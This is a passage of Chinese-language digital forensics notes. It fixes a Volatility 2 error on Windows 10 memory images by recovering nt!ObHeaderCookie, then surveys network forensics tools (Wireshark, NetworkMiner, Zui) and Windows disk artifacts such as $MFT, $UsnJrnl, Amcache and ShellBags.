  File "/usr/local/lib/python2.7/dist-packages/volatility/plugins/overlays/windows/windows.py", line 1231, in get_object_top_down
    header.get_object_type() == object_type):
  File "/usr/local/lib/python2.7/dist-packages/volatility/plugins/overlays/windows/win7.py", line 155, in get_object_type
    return self.type_map.get(int(self.TypeIndex), '')
  File "/usr/local/lib/python2.7/dist-packages/volatility/plugins/overlays/windows/win10.py", line 334, in TypeIndex
    return ((addr >> 8) ^ cook ^ indx) & 0xFF
TypeError: unsupported operand type(s) for ^: 'int' and 'NoneType'

這個錯誤是因為win10.py 中在執行時在return ((addr >> 8) ^ cook ^ indx) & 0xFF這段程式出現了 NoneType 的變數。

nt!ObGetObjectType 是什麼？

根據這篇文章的分析，可以知道說 Win 10 的 TypeIndex 被混淆過，並且是根據

1
Index = TypeIndex ^ 2nd least significate byte of OBJECT_HEADER address ^ nt!ObHeaderCookie

這樣的公式進行混淆，nt!ObGetObjectType 的功用就是將TypeIndex 進行解混淆並回傳解混淆的TypeIndex。

因為 Volatility 2 是開源的，可以去看一下 win10.py 的sourcecode

1
2
3
4
5
6
7
8
9
10
11
12
class _OBJECT_HEADER_10(win8._OBJECT_HEADER):
        
    @property
    def TypeIndex(self):
        """Wrap the TypeIndex member with a property that decodes it 
        with the nt!ObHeaderCookie value."""

        cook = obj.VolMagic(self.obj_vm).ObHeaderCookie.v()
        addr = self.obj_offset 
        indx = int(self.m("TypeIndex"))

        return ((addr >> 8) ^ cook ^ indx) & 0xFF

這邊就可以明顯的看到這三個變數分別代表什麼，並且利用這三個變數解混淆

  • addr : OBJECT_HEADER_address
  • cook : nt!ObHeaderCookie 讀出的cookie 值，Windows 10 是每次開機隨機生成的
  • indx : 混淆過後的TypeIndex

那這邊就是因為 Volatlity2 讀不到 nt!ObHeaderCookie，因此 cook 會是NoneType ， 而如果你有在Volatility 2下過 -h 有可能會看過可以下--cookie。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
$ vol.py -h

Volatility Foundation Volatility Framework 2.6.1
Usage: Volatility - A memory forensics analysis platform.

Options:
  -h, --help            list all available options and their default values.
                        Default values may be set in the configuration file
                        (/etc/volatilityrc)
  --conf-file=/home/yunshiuan/.volatilityrc
                        User based configuration file
  -d, --debug           Debug volatility
  --plugins=PLUGINS     Additional plugin directories to use (colon separated)
  --info                Print information about all registered objects
  --cache-directory=/home/yunshiuan/.cache/volatility
                        Directory where cache files are stored
  --cache               Use caching
  --tz=TZ               Sets the (Olson) timezone for displaying timestamps
                        using pytz (if installed) or tzset
  -f FILENAME, --filename=FILENAME
                        Filename to use when opening an image
  --profile=WinXPSP2x86
                        Name of the profile to load (use --info to see a list
                        of supported profiles)
  -l LOCATION, --location=LOCATION
                        A URN location from which to load an address space
  -w, --write           Enable write support
  --dtb=DTB             DTB Address
  --shift=SHIFT         Mac KASLR shift address
  --output=text         Output in this format (support is module specific, see
                        the Module Output Options below)
  --output-file=OUTPUT_FILE
                        Write output in this file
  -v, --verbose         Verbose information
  --physical_shift=PHYSICAL_SHIFT
                        Linux kernel physical shift address
  --virtual_shift=VIRTUAL_SHIFT
                        Linux kernel virtual shift address
  -g KDBG, --kdbg=KDBG  Specify a KDBG virtual address (Note: for 64-bit
                        Windows 8 and above this is the address of
                        KdCopyDataBlock)
  --force               Force utilization of suspect profile
  -k KPCR, --kpcr=KPCR  Specify a specific KPCR address
  --cookie=COOKIE       Specify the address of nt!ObHeaderCookie (valid for
                        Windows 10 only)

那這個就是讓我們放 nt!ObHeaderCookie 的 address 給 Volatility 2 ， 因此接下來只要獲取到nt!ObHeaderCookie 位置的 cookie 應該就可以解決這個問題了。而 nt!ObHeaderCookie 在 ntoskrnl.exe 中可以找到。

因此我們現在要把memory 中的ntoskrnl.exe dump出來，volatility 2 有一個很猛的 moddump Plugin ，他可以將 Kernel Driver 全部 dump 出來

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
$ vol.py -f MemoryDump.mem --profile=Win10x64_19041 moddump --dump-dir ./

Volatility Foundation Volatility Framework 2.6.1
Module Base        Module Name          Result
------------------ -------------------- ------
0xfffff8076221a000 ntoskrnl.exe         OK: driver.fffff8076221a000.sys
0xfffff80762070000 hal.dll              OK: driver.fffff80762070000.sys
0xfffff80767340000 ucx01000.sys         OK: driver.fffff80767340000.sys
0xfffff80764530000 NETIO.SYS            OK: driver.fffff80764530000.sys
0xfffff80767570000 UsbHub3.sys          OK: driver.fffff80767570000.sys
0xfffff80767020000 USBPORT.SYS          OK: driver.fffff80767020000.sys
0xfffff80767db0000 vm3dmp.sys           OK: driver.fffff80767db0000.sys
0xfffff807643c0000 ndis.sys             OK: driver.fffff807643c0000.sys
0xfffff807679d0000 cldflt.sys           OK: driver.fffff807679d0000.sys
0xfffff80767a80000 bindflt.sys          OK: driver.fffff80767a80000.sys
0xfffff80763fe0000 EhStorClass.sys      OK: driver.fffff80763fe0000.sys
0xfffff807635f0000 CI.dll               OK: driver.fffff807635f0000.sys
0xfffff80763c00000 pdc.sys              OK: driver.fffff80763c00000.sys
0xfffff80767af0000 rspndr.sys           OK: driver.fffff80767af0000.sys
0xfffff80767210000 e1i65x64.sys         OK: driver.fffff80767210000.sys
0xfffff80763e00000 vsock.sys            OK: driver.fffff80763e00000.sys
0xfffff80767440000 rdpbus.sys           OK: driver.fffff80767440000.sys
0xfffff80774a50000 tcpipreg.sys         OK: driver.fffff80774a50000.sys
0xfffff8077a5f0000 ad_driver.10.sys     OK: driver.fffff8077a5f0000.sys
0xfffff80765670000 cdrom.sys            OK: driver.fffff80765670000.sys
0xfffff80774c80000 mpsdrv.sys           OK: driver.fffff80774c80000.sys
0xfffff80763eb0000 storahci.sys         OK: driver.fffff80763eb0000.sys
0xfffff8077a4c0000 condrv.sys           OK: driver.fffff8077a4c0000.sys
0xfffff80765ad0000 watchdog.sys         OK: driver.fffff80765ad0000.sys
0xfffff807656f0000 Beep.SYS             OK: driver.fffff807656f0000.sys
0xfffff80764b70000 mup.sys              OK: driver.fffff80764b70000.sys
0xfffff80767d90000 serenum.sys          OK: driver.fffff80767d90000.sys
0xfffff80763b50000 msisadrv.sys         OK: driver.fffff80763b50000.sys
0xfffff80762160000 FLTMGR.SYS           OK: driver.fffff80762160000.sys
0xfffff80767390000 vmgencounter.sys     OK: driver.fffff80767390000.sys
0xfffff80763fb0000 stornvme.sys         OK: driver.fffff80763fb0000.sys
0xfffff807635c0000 werkernel.sys        OK: driver.fffff807635c0000.sys
0xfffff80765720000 dxgkrnl.sys          OK: driver.fffff80765720000.sys
0xfffff807637f0000 WMILIB.SYS           OK: driver.fffff807637f0000.sys
0xfffff80763d90000 volmgrx.sys          Error: Cannot acquire AS
0xfffff80774a20000 Ndu.sys              OK: driver.fffff80774a20000.sys
0xfffff80763ef0000 storport.sys         OK: driver.fffff80763ef0000.sys
0xfffff80767990000 wcifs.sys            OK: driver.fffff80767990000.sys
0xfffff80763c50000 partmgr.sys          OK: driver.fffff80763c50000.sys
0xfffff80767870000 dxgmms2.sys          OK: driver.fffff80767870000.sys
0xfffff80766e80000 kdnic.sys            OK: driver.fffff80766e80000.sys
0xfffff80767b70000 peauth.sys           OK: driver.fffff80767b70000.sys
0xfffff80764aa0000 volsnap.sys          OK: driver.fffff80764aa0000.sys
0xfffff80763b10000 IntelTA.sys          OK: driver.fffff80763b10000.sys
0xfffff807676c0000 HIDPARSE.SYS         OK: driver.fffff807676c0000.sys
0xfffff80767cd0000 umbus.sys            OK: driver.fffff80767cd0000.sys
0xfffff80767720000 dump_storport.sys    OK: driver.fffff80767720000.sys
0xfffff807673b0000 BATTC.SYS            OK: driver.fffff807673b0000.sys
0xfffff80766da0000 dfsc.sys             OK: driver.fffff80766da0000.sys
0xfffff80763b20000 WindowsTr...roxy.sys OK: driver.fffff80763b20000.sys
0xfffff80764b10000 rdyboost.sys         OK: driver.fffff80764b10000.sys
0xfffff80763d50000 PCIIDEX.SYS          OK: driver.fffff80763d50000.sys
0xfffff80766f80000 afunix.sys           OK: driver.fffff80766f80000.sys
0xfffff80767da0000 vm3dmp_loader.sys    OK: driver.fffff80767da0000.sys
0xfffff80764ba0000 iorate.sys           OK: driver.fffff80764ba0000.sys
0xfffff80767420000 NdisVirtualBus.sys   OK: driver.fffff80767420000.sys
0xfffff80766dd0000 CompositeBus.sys     OK: driver.fffff80766dd0000.sys
0xfffff80774a00000 mmcss.sys            OK: driver.fffff80774a00000.sys
0xfffff80764000000 fileinfo.sys         OK: driver.fffff80764000000.sys
0xfffff80764610000 tcpip.sys            OK: driver.fffff80764610000.sys
0xfffff807637a0000 WDFLDR.SYS           OK: driver.fffff807637a0000.sys
0xfffff80766c20000 rdbss.sys            OK: driver.fffff80766c20000.sys
0xfffff80762080000 kdcom.dll            OK: driver.fffff80762080000.sys
0xfffff80766ca0000 csc.sys              OK: driver.fffff80766ca0000.sys
0xfffffb54a32b0000 win32k.sys           Error: Cannot acquire AS
0xfffff807674e0000 USBD.SYS             OK: driver.fffff807674e0000.sys
0xfffffb54a2c00000 win32kbase.sys       OK: driver.fffffb54a2c00000.sys
0xfffff80763af0000 WindowsTrustedRT.sys OK: driver.fffff80763af0000.sys
0xfffff80774ca0000 mrxsmb.sys           OK: driver.fffff80774ca0000.sys
0xfffff80767d20000 kbdclass.sys         OK: driver.fffff80767d20000.sys
0xfffff80766d40000 nsiproxy.sys         OK: driver.fffff80766d40000.sys
0xfffff80767560000 ksthunk.sys          OK: driver.fffff80767560000.sys
0xfffff80765b70000 crashdmp.sys         OK: driver.fffff80765b70000.sys
0xfffff80763b30000 pcw.sys              OK: driver.fffff80763b30000.sys
0xfffff807643b0000 Fs_Rec.sys           Error: Cannot acquire AS
0xfffff807649c0000 fvevol.sys           OK: driver.fffff807649c0000.sys
0xfffff807635e0000 ntosext.sys          OK: driver.fffff807635e0000.sys
0xfffff80764c00000 CLASSPNP.SYS         OK: driver.fffff80764c00000.sys
0xfffff80766bf0000 winhvr.sys           OK: driver.fffff80766bf0000.sys
0xfffff80762130000 PSHED.dll            OK: driver.fffff80762130000.sys
0xfffff80763e20000 vmci.sys             OK: driver.fffff80763e20000.sys
0xfffff80767430000 swenum.sys           OK: driver.fffff80767430000.sys
0xfffff80767660000 hidusb.sys           OK: driver.fffff80767660000.sys
0xfffff80766b20000 netbios.sys          OK: driver.fffff80766b20000.sys
0xfffff80766ea0000 CimFS.SYS            OK: driver.fffff80766ea0000.sys
0xfffff80774ac0000 HTTP.sys             OK: driver.fffff80774ac0000.sys
0xfffff80767ab0000 lltdio.sys           OK: driver.fffff80767ab0000.sys
0xfffff807670d0000 portcls.sys          OK: driver.fffff807670d0000.sys
0xfffff807656e0000 Null.SYS             Error: Cannot acquire AS
0xfffff80767cf0000 i8042prt.sys         OK: driver.fffff80767cf0000.sys
0xfffff80763910000 mssecflt.sys         OK: driver.fffff80763910000.sys
0xfffff80766f20000 netbt.sys            OK: driver.fffff80766f20000.sys
0xfffff80766b40000 Vid.sys              OK: driver.fffff80766b40000.sys
0xfffff80762150000 BOOTVID.dll          OK: driver.fffff80762150000.sys
0xfffff80767760000 dump_stornvme.sys    OK: driver.fffff80767760000.sys
0xfffff80763d70000 volmgr.sys           OK: driver.fffff80763d70000.sys
0xfffff80763990000 ACPI.sys             OK: driver.fffff80763990000.sys
0xfffff807636e0000 cng.sys              OK: driver.fffff807636e0000.sys
0xfffff80766fa0000 ahcache.sys          OK: driver.fffff80766fa0000.sys
0xfffff80774d90000 vmmemctl.sys         OK: driver.fffff80774d90000.sys
0xfffff80767b10000 msquic.sys           OK: driver.fffff80767b10000.sys
0xfffff807621d0000 cmimcext.sys         OK: driver.fffff807621d0000.sys
0xfffff80766df0000 fastfat.SYS          OK: driver.fffff80766df0000.sys
0xfffff80763400000 clipsp.sys           OK: driver.fffff80763400000.sys
0xfffff807637c0000 SleepStudyHelper.sys OK: driver.fffff807637c0000.sys
0xfffff80764020000 Wof.sys              OK: driver.fffff80764020000.sys
0xfffff80763e70000 ataport.SYS          OK: driver.fffff80763e70000.sys
0xfffff80764a90000 volume.sys           OK: driver.fffff80764a90000.sys
0xfffff807670a0000 HDAudBus.sys         OK: driver.fffff807670a0000.sys
0xfffff807656b0000 filecrypt.sys        OK: driver.fffff807656b0000.sys
0xfffff807638e0000 acpiex.sys           OK: driver.fffff807638e0000.sys
0xfffff80766ef0000 TDI.SYS              OK: driver.fffff80766ef0000.sys
0xfffff8077a4e0000 vmhgfs.sys           OK: driver.fffff8077a4e0000.sys
0xfffff80765b10000 BasicRender.sys      OK: driver.fffff80765b10000.sys
0xfffff80767d50000 mouclass.sys         OK: driver.fffff80767d50000.sys
0xfffff80763d40000 intelide.sys         OK: driver.fffff80763d40000.sys
0xfffffb54a3350000 cdd.dll              Error: Cannot acquire AS
0xfffff80767960000 luafv.sys            OK: driver.fffff80767960000.sys
0xfffff80774c50000 bowser.sys           OK: driver.fffff80774c50000.sys
0xfffff807676e0000 mouhid.sys           OK: driver.fffff807676e0000.sys
0xfffff807677b0000 dump_dumpfve.sys     OK: driver.fffff807677b0000.sys
0xfffff807673d0000 intelppm.sys         OK: driver.fffff807673d0000.sys
0xfffff80765be0000 Msfs.SYS             OK: driver.fffff80765be0000.sys
0xfffff8077a550000 WdFilter.sys         OK: driver.fffff8077a550000.sys
0xfffff80766ff0000 tap0901.sys          OK: driver.fffff80766ff0000.sys
0xfffff80774da0000 srvnet.sys           OK: driver.fffff80774da0000.sys
0xfffff807640d0000 Ntfs.sys             OK: driver.fffff807640d0000.sys
0xfffff80763e40000 mountmgr.sys         OK: driver.fffff80763e40000.sys
0xfffff80767450000 usbhub.sys           OK: driver.fffff80767450000.sys
0xfffff80767a60000 storqosflt.sys       OK: driver.fffff80767a60000.sys
0xfffff80767680000 HIDCLASS.SYS         OK: driver.fffff80767680000.sys
0xfffff80763c90000 spaceport.sys        OK: driver.fffff80763c90000.sys
0xfffff807672a0000 USBXHCI.SYS          OK: driver.fffff807672a0000.sys
0xfffff80766ec0000 tdx.sys              OK: driver.fffff80766ec0000.sys
0xfffff80766ad0000 pacer.sys            OK: driver.fffff80766ad0000.sys
0xfffff80765700000 vmrawdsk.sys         OK: driver.fffff80765700000.sys
0xfffff80767000000 usbuhci.sys          OK: driver.fffff80767000000.sys
0xfffff80763550000 msrpc.sys            Error: Cannot acquire AS
0xfffff80763b60000 pci.sys              OK: driver.fffff80763b60000.sys
0xfffff80767ad0000 mslldp.sys           OK: driver.fffff80767ad0000.sys
0xfffff80767170000 ks.sys               OK: driver.fffff80767170000.sys
0xfffff80766d90000 gpuenergydrv.sys     OK: driver.fffff80766d90000.sys
0xfffff807673a0000 CmBatt.sys           OK: driver.fffff807673a0000.sys
0xfffff807645d0000 ksecpkg.sys          OK: driver.fffff807645d0000.sys
0xfffff80763be0000 vdrvroot.sys         OK: driver.fffff80763be0000.sys
0xfffff807671f0000 usbehci.sys          OK: driver.fffff807671f0000.sys
0xfffff80763800000 Wdf01000.sys         OK: driver.fffff80763800000.sys
0xfffff80764be0000 disk.sys             OK: driver.fffff80764be0000.sys
0xfffff80766d70000 mssmbios.sys         OK: driver.fffff80766d70000.sys
0xfffff80774d40000 mrxsmb20.sys         OK: driver.fffff80774d40000.sys
0xfffff807677d0000 dxgmms1.sys          OK: driver.fffff807677d0000.sys
0xfffff80767d70000 serial.sys           OK: driver.fffff80767d70000.sys
0xfffff80766ab0000 vwififlt.sys         OK: driver.fffff80766ab0000.sys
0xfffff807620c0000 CLFS.SYS             OK: driver.fffff807620c0000.sys
0xfffff807656d0000 tbs.sys              OK: driver.fffff807656d0000.sys
0xfffff80764900000 fwpkclnt.sys         OK: driver.fffff80764900000.sys
0xfffff80766f10000 ws2ifsl.sys          OK: driver.fffff80766f10000.sys
0xfffff80763520000 ksecdd.sys           OK: driver.fffff80763520000.sys
0xfffff80765b30000 Npfs.SYS             OK: driver.fffff80765b30000.sys
0xfffff80767140000 drmk.sys             OK: driver.fffff80767140000.sys
0xfffff80766d60000 npsvctrig.sys        OK: driver.fffff80766d60000.sys
0xfffff80764980000 wfplwfs.sys          OK: driver.fffff80764980000.sys
0xfffff80767d40000 vmmouse.sys          OK: driver.fffff80767d40000.sys
0xfffff807637d0000 WppRecorder.sys      OK: driver.fffff807637d0000.sys
0xfffff80761de0000 mcupdate.dll         OK: driver.fffff80761de0000.sys
0xfffff8077a3f0000 srv2.sys             OK: driver.fffff8077a3f0000.sys
0xfffff80766a00000 afd.sys              OK: driver.fffff80766a00000.sys
0xfffff80763970000 SgrmAgent.sys        OK: driver.fffff80763970000.sys
0xfffff80767620000 usbccgp.sys          OK: driver.fffff80767620000.sys
0xfffff80763c30000 CEA.sys              OK: driver.fffff80763c30000.sys
0xfffff80767700000 vmusbmouse.sys       OK: driver.fffff80767700000.sys
0xfffff80767850000 monitor.sys          OK: driver.fffff80767850000.sys
0xfffff80763e60000 atapi.sys            OK: driver.fffff80763e60000.sys
0xfffff80763a80000 intelpep.sys         OK: driver.fffff80763a80000.sys
0xfffff80762090000 tm.sys               OK: driver.fffff80762090000.sys
0xfffff80766e60000 bam.sys              OK: driver.fffff80766e60000.sys
0xfffffb54a2ee0000 win32kfull.sys       Error: Cannot acquire AS
0xfffff807674f0000 HdAudio.sys          OK: driver.fffff807674f0000.sys
0xfffff80766b00000 ndiscap.sys          OK: driver.fffff80766b00000.sys
0xfffff80765af0000 BasicDisplay.sys     OK: driver.fffff80765af0000.sys

第一個就是ntoskrnl.exe ，把它拿去反編譯之後找到 ObGetObjectType 接下來把前面的8 bytes 的 opcode 記住

接下來用yarascan 把他從記憶體中的位置抓出來 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ sudo python2.7 vol.py -f ../temp_extract_dir/MemoryDump.mem --profile=Win10x64_19041 yarascan -K -Y "{48 8D 41 D0 0F B6 49 E8}"

Volatility Foundation Volatility Framework 2.6.1
Rule: r1
Owner: ntoskrnl.exe
0xf8076291d470  48 8d 41 d0 0f b6 49 e8 48 c1 e8 08 0f b6 c0 48   H.A...I.H......H
0xf8076291d480  33 c1 0f b6 0d a3 92 5f 00 48 33 c1 48 8d 0d ed   3......_.H3.H...
0xf8076291d490  99 5f 00 48 8b 04 c1 c3 cc cc cc cc cc cc cc cc   ._.H............
0xf8076291d4a0  48 83 ec 58 8a 84 24 a0 00 00 00 c7 44 24 48 01   H..X..$.....D$H.
0xf8076291d4b0  00 00 00 88 44 24 40 8b 84 24 98 00 00 00 89 44   ....D$@..$.....D
0xf8076291d4c0  24 38 8b 84 24 90 00 00 00 89 44 24 30 48 8b 84   $8..$.....D$0H..
0xf8076291d4d0  24 88 00 00 00 48 89 44 24 28 48 8b 84 24 80 00   $....H.D$(H..$..
0xf8076291d4e0  00 00 48 89 44 24 20 e8 14 00 00 00 48 83 c4 58   ..H.D$......H..X
0xf8076291d4f0  c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc   ................
0xf8076291d500  4c 8b dc 49 89 5b 08 49 89 73 10 4d 89 4b 20 4d   L..I.[.I.s.M.K.M
0xf8076291d510  89 43 18 57 41 54 41 55 41 56 41 57 48 83 ec 70   .C.WATAUAVAWH..p
0xf8076291d520  48 8b da 48 8b f9 45 33 ed 4d 89 6b b0 4d 89 6b   H..H..E3.M.k.M.k
0xf8076291d530  b8 65 48 8b 04 25 88 01 00 00 48 89 44 24 60 44   .eH..%....H.D$`D
0xf8076291d540  8a b8 32 02 00 00 45 84 ff 0f 84 07 94 12 00 49   ..2...E........I
0xf8076291d550  8b 4b 28 48 b8 00 00 ff ff ff 7f 00 00 48 3b c8   .K(H.........H;.
0xf8076291d560  48 0f 43 c8 8b 01 89 01 44 8b a4 24 d0 00 00 00   H.C.....D..$....

接下來知道 ntoskrnl.exe 的位置在0xf8076291d470後我們就可以寫 script 幫我我們提取ObHeaderCookie

回去看反編譯出來的ObGetObjectType，我們的目標是movzx ecx, byte [rel ObHeaderCookie] 這段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ sudo python2.7 vol.py -f ../temp_extract_dir/MemoryDump.mem --profile=Win10x64_19041 volshell
Volatility Foundation Volatility Framework 2.6.1
Current context: System @ 0xffffad8185883180, pid=4, ppid=0 DTB=0x1ad002
Welcome to volshell! Current memory image is:
file:///home/yunshiuan/temp_extract_dir/MemoryDump.mem
To get help, type 'hh()'
>>> addr = 0xf8076291d470
>>> for m in getmods():
...     nt_mod = m
...     break
...
>>> mode = distorm3.Decode64Bits
>>> data = nt_mod.obj_vm.read(addr, 100)
>>> ops = distorm3.Decompose(addr, data, mode)
>>> for op in reversed(ops):
...     if (op.size == 7 and 'FLAG_RIP_RELATIVE' in op.flags and len(op.operands) == 2 and op.operands[0].type == 'Register' and op.operands[1].type == 'AbsoluteMemory' and op.operands[1].size == 8):
...         addr2 = op.address + op.size + op.operands[1].disp
...
>>> cookie = obj.Object("unsigned int", offset = addr2, vm = nt_mod.obj_vm)
>>> hex(cookie)
'0x9be88324L'
>>> exit()

這個script 簡單來說

  • 首先先獲取到addr 的第一個函數，那因為我們直接定位的關係，所以這邊nt_mod = ObGetObjectType
  • 接下來分別是設定64 位元反組譯模式、讀取100 位元組的機器碼、進行反組譯得到指令列表
  • 下一部分是尋找movzx ecx, byte [rel ObHeaderCookie]指令
    • op.size == 7：指令長度為 7 位元組
    • 'FLAG_RIP_RELATIVE' in op.flags：使用 RIP相對定址
    • len(op.operands) == 2：有 2 個運算元
    • op.operands[0].type== 'Register'：第一個運算元是暫存器
    • op.operands[1].type == 'AbsoluteMemory'：第二個運算元是記憶體位址
    • op.operands[1].size== 8：記憶體運算元大小為 8 位元組
  • 找到後計算ObHeaderCookie的實際記憶體位置
    • addr2 = op.address + op.size + op.operands[1].disp
      • op.address：指令地址
      • op.size：指令大小（7 位元組）
      • op.operands[1].disp：RIP 相對位移
  • 最後提取cookie 的值

提取後我們知道cookie 的值為0x9be88324，最後再下一次 psscan 帶上剛剛抓的cookie

1
sudo python2.7 vol.py -f ../temp_extract_dir/MemoryDump.mem --profile=Win10x64_19041 --cookie=0x9be88324 psscan

發現成功執行

Network Forensics

  • wireshark

    解密封包

    Wireshark 支援可以匯入key ，將加密過後的HTTPS 流量還原成明文

    因為HTTPS 多了一層SSL/TLS，他會將封包進行加密保護傳輸內容不被竊聽

    解密流程如下：

    假設我們要分析一個HTTPS網站的登入過程，將加解密的key 先存在一個檔案中

    1
    export SSLKEYLOGFILE="/home/user/ssl-keys.log"

    然後再Preferences-> Prorocols 裡面找到TLS ，接下來把剛剛儲存的key 路徑丟進去最底下(Pre)-Master-Screct log filename裡面

    另外wireshark 支援的解密為

    1. SSL/TLS解密：最常見的HTTPS流量解密
    2. WEP/WPA/WPA2解密：WiFi加密流量
    3. IPsec解密：VPN流量
    4. Kerberos解密：Windows認證流量
    5. 自定義加密：透過Lua腳本支援

    匯出物件

    wireshark 提供了可以將封包傳輸的物件(如：圖片、檔案、網頁……) dump 下來的功能

  • NetworkMiner

    目前只支援 Windows 作業系統，但是也可以使用其他工具讓它在 Linux 或 Mac 上執行。它可以將 pcap 內的封包拆開、解析、重組，嘗試把裡面的檔案、圖片、郵件、憑證／SSL 證書、使用者帳號密碼等直接還原出來，另外它也可以即時監聽封包並分析

    但是，NetworkMiner 免費版只能分析 pcap 檔案，如果是 pcapng 格式則需要付費才能分析，付費版本需要 1300 USD

    pcapng 也是一種用來儲存網路封包捕捉資料的檔案格式，是舊的 pcap 格式的進化版，它會比 pcap 儲存的資料還要多，可以分析的資訊也越多。目前 Wireshark 從 v1.8 開始，預設就把封包儲存格式改成 pcapng

  • Zui

    • Zui 它的前身是Brim ， 是一款用於網路流量分析的工具，它提供了使用者友善的圖形化介面，可以讓使用者能夠快速分析與視覺化大量網路流量

      這個工具裡面整合了兩個網路封包分析工具，分別是Zeek、Suricata，先用 brimcap 將 pcap 送到 Zeek/Suricata 做 summary/log，再在 Zui 內用 correlation view、alert 視窗、或 detail pane 分析事件與原始封包。

      所以只要將pcap 封包丟進去 zeek ，他就會開始進行分析

      分析完後按下Query Pool 就可以看到視覺化的頁面

      另外 Zui 使用 Zed（或稱 Zed query / SuperSQL）來做過濾與轉換查詢可以更快處理大量資料

      以下分享幾個操作

      首先可以篩選出Suricata 警報

      1
      event_type=="alert" #可篩選出 Suricata 警報

      也有像wireshark 一樣可以篩選 ip scr or ip dst 

      1
      id.orig_h==100.112.165.2 and id.resp_p==53 #來源ip = 100.112.165.2 目標port = 53

      另外他也可以進行統計與排序

      1
      count() by id.resp_p | sort -r  # 對目標port 進行統計，並降冪排序

      對你想要篩選的資料按右鍵可以自動生成查詢指令

      最後也可以下載官方提供預先寫好的查詢

      連結：[https://github.com/brimdata/brimcap?tab=readme-ov-file#brimcap-queries

      ](https://github.com/brimdata/brimcap?tab=readme-ov-file#brimcap-queries)下載後queries.json 後按下+的藍色按鈕，點選Import Queries

      把剛剛下載的json 檔丟進去，就會匯入預先寫好的query

Disk Forensics

winlog 路徑 : C:\Windows\System32\winevt\Logs

Register 路徑 ：C:\Windows\System32

常見 Registry 路徑

Registry 路徑說明
HKLM\SYSTEM\CurrentControlSet\Services系統服務與驅動程式資訊
HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName電腦名稱
HKLM\SYSTEM\MountedDevices磁碟/USB 裝置掛載資訊
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run系統啟動時自動執行程式
HKLM\SAM\SAM\Domains\Account\Users本機帳號資訊

  • SAM：儲存本地使用者帳號與群組的資訊，例如使用者名稱、建立時間、最後登入時間。

    • Domain 帳號資訊在 Domain Controller 的 NTDS.dit

  • SECURITY：包含使用者帳號的安全相關資訊，例如密碼政策。

  • SOFTWARE：紀錄所有已安裝軟體（包含 Windows 內建與第三方軟體）。

  • SYSTEM：儲存系統層級的組態資訊，例如事件日誌設定、硬體（像是 USB 裝置）相關的設定。

$MFT

路徑：<Volume_Root>\$MFT

$MFT 是 NTFS 檔案系統的核心元件，儲存所有檔案和目錄的metadata（如名稱、大小、時間戳、權限等）。
由一系列固定大小的檔案記錄組成，每個記錄包含一個檔案或目錄的所有屬性。

下方圖片是使用 MFT Explorer 把 MFT 內的資料視覺化顯示出來

$UsnJrnl

路徑：<Volume_Root>\$Extend\$UsnJrnl:$J

$UsnJrnl 的主要功能是追蹤 NTFS 上所有文件與目錄的變更。每當文件被創建、修改、刪除、重命名、移動，或其屬性／安全描述符發生變化時，$UsnJrnl 都會記錄一條對應條目。這些條目包括變更類型、發生時間、關聯的 USN（更新序列號）、文件 ID、父目錄 ID、文件名稱、屬性與大小等資訊，但因為紀錄的比較詳細，所以大約只會記錄到1~2天的資訊。

$LogFile

路徑：<Volume_Root>\$LogFile

$LogFile 與 $UsnJrnl 紀錄的內容差不多，但是紀錄的是更底層的操作，其功能是作為 NTFS 的 transaction log，記錄對 metadata 所做的各種操作（如 MFT 新增／修改／刪除、目錄索引更新、Bitmap Allocation、$UsnJrnl 本身的更新等）。在進行 metadata 變更前，系統會先將這些交易寫入 $LogFile，以確保即便系統意外中斷，也可利用日誌進行回滾或重做操作，以保持文件系統的一致性與完整性。

$I30

在 NTFS 檔案系統中，每一個 Directory 都維護一個 Index，用來快速查找該目錄下的檔案與子目錄，當目錄內容改變 (如新增、刪除、重命名) 時，對應的 index entry 也會被修改或標記為已刪除 (Flags 欄位)，因為是標記的關係，所以可以在$I30 中找到被刪除的檔案。

Amcache.hve

路徑位置：%WinDir%\AppCompat\Programs\Amcache.hve

自 Windows 8 起引入，記錄了已執行應用程式的詳細資訊，包括檔案路徑、SHA-1 雜湊值、時間戳記等。

若惡意程式本體被刪除或遭清除，無法從映像直接看到該檔案本身時，可以透過 Amcache 的記錄去驗證是否存在

NTUSER.DAT

路徑位置：C:\Users\<username>\NTUSER.DAT

NTUSER.DAT 是 Windows 每個使用者帳戶在其使用者設定檔底下的一個檔案，用來儲存與該帳戶相關的 Registry 設定與使用者偏好，在使用者登入時，系統會將這個檔案對應到註冊表的 HKEY_CURRENT_USER（HKCU） 分支，讓該使用者的作業與應用程式可以讀寫其個人設定；在登出或關機時，這些變更會回寫到 NTUSER.DAT。

可以直接用 RegistryExplorer 查看。

這邊重點提兩個比較特別的 key

UserAssist

key 路徑：Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count

UserAssist 是 Windows 用來追蹤使用者透過圖形介面啟動應用程式或捷徑的統計記錄機制，裡面會包含程式的執行次數、最後執行時間、Focus Count、Focus Time

ShellBags

ShellBags 是 Windows 用於記錄使用者在檔案總管中瀏覽資料夾時的設定偏好與檔案夾訪問紀錄，包括資料夾的視窗配置 / 檢視樣式 / 排列方式 / 大小 / 位置等，代表如有刪除或存取資料夾的操作會被記錄在 ShellBags 當中。

它會依照作業系統存在不同地方

  • <NTUSER.DAT>\Software\Microsoft\Windows\Shell\BagMRU
  • <NTUSER.DAT>\Software\Microsoft\Windows\Shell\Bags
